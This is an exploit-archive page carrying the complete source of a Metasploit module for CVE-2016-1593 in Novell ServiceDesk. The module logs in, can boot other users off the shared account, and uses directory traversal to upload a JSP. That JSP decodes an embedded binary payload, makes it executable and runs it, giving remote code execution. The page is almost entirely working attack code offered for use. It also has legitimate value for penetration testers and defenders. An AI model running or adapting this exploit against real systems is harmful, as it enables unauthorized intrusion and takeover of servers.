exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Novell ServiceDesk Authenticated File Upload

Novell ServiceDesk Authenticated File Upload
Posted Apr 18, 2016
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits an authenticated arbitrary file upload via directory traversal to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in Windows and Linux installations of Novell ServiceDesk, as well as the Virtual Appliance provided by Novell.

tags | exploit, arbitrary, file upload
systems | linux, windows
advisories | CVE-2016-1593
SHA-256 | afb4d4be28fcad92ea6a38d635b3b06845a31d2df0ef58120226aa7d288d0c15

Novell ServiceDesk Authenticated File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))

register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end


def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})

if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end


def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end


def pick_target
return target if target.name != 'Automatic'

print_status("#{peer} - Determining target")

os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}

traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end

# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])

# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)

res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})

if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end

return nil
end


def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"

post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

if not res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end


def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)

native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)

if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|

var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|

jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")

return jsp
end


def exploit
version = get_version

# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})

if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end

# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})

if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end

# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})

if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end

if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end

# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end

# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end

# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end

# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})

handler
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close